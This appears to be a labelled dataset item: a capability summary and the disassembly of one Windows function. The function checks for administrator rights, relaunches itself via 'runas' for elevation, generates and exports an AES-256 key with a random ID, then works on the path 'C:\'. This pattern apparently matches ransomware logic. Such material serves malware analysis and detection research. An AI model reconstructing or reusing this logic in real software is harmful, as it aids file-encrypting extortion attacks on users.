Function at 0x401af0
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Encrypt data using aes via winapi
Get token membership
Terminate process

Disassembly:
sub esp, 0x1b0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1ac], eax
lea eax, [esp + 4]
mov dword [esp], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], 0
push eax
mov dword [esp + 0x38], 0
mov word [esp + 0x3c], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401b65
lea eax, [esp]
push eax
push dword [esp + 8]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [esp], 0
jne 0x401bd7
push 0x104
lea eax, [esp + 0xac]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401bd7
push 0x38
lea eax, [esp + 0x2c]
mov dword [esp + 0x28], 0x3c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x30], str.runas
lea eax, [esp + 0xa8]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], eax
lea eax, [esp + 0x24]
mov dword [esp + 0x40], 0
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401bd7
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [esp + 0x10]
mov dword [esp + 0x1c], 0x2c
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x401c85
lea eax, [esp + 4]
push eax
push 1
push 0x6610
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x401c79
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x28]
push eax
push 0
push 8
push 0
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x401c6f
vmovdqu ymm0, ymmword [esp + 0x30]
vmovdqu ymmword [esp + 0x60], ymm0
mov eax, 0x2c
lea ecx, [esp + 0x24]
nop word [eax + eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x401c50
lea eax, [esp + 0x14]
push eax
push 0x10
push dword [esp + 8]
vzeroupper
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [0x4057d8]
vmovdqu ymm0, ymmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
push ebx
push ebp
push esi
mov dword [esp + 0x50], eax
mov al, byte [0x4057dc]
push edi
vmovdqu ymmword [esp + 0x34], ymm0
mov byte [esp + 0x58], al
push 0
vzeroupper
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
mov dword [esp + 0x28], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor esi, esi
add esp, 8
xor edi, edi
lea ebp, [esi + 0x24]
nop
call ebx
xor edx, edx
div ebp
mov al, byte [esp + edx + 0x34]
mov byte [esp + esi + 0x90], al
lea eax, [edi + 1]
inc esi
mov edi, eax
and eax, 0x80000003
jns 0x401cf5
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x401d05
cmp esi, 0x26
jge 0x401d05
mov byte [esp + esi + 0x90], 0x2d
inc esi
cmp edi, 0x20
jl 0x401cd0
pop edi
pop esi
pop ebp
lea eax, [esp + 0x84]
mov byte [esp + 0xaa], 0
pop ebx
push eax
lea edx, [esp + 0x18]
lea ecx, [esp + 0x64]
call fcn.00401080
lea eax, [esp + 0x84]
push eax
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x68]
call fcn.00401810
lea eax, [esp + 0x88]
mov dword [esp + 0x10], 0x5c3a43
push eax
lea eax, [esp + 0x20]
push eax
lea edx, [esp + 0x70]
lea ecx, [esp + 0x18]
call fcn.004015a0
add esp, 0x10
lea ecx, [esp + 0x60]
mov eax, 0x20
nop
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x401d70
mov eax, 0x10
lea ecx, [esp + 0x14]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x401d84
mov ecx, dword [esp + 0x1ac]
xor ecx, esp
call fcn.00401da6
add esp, 0x1b0
ret 0x10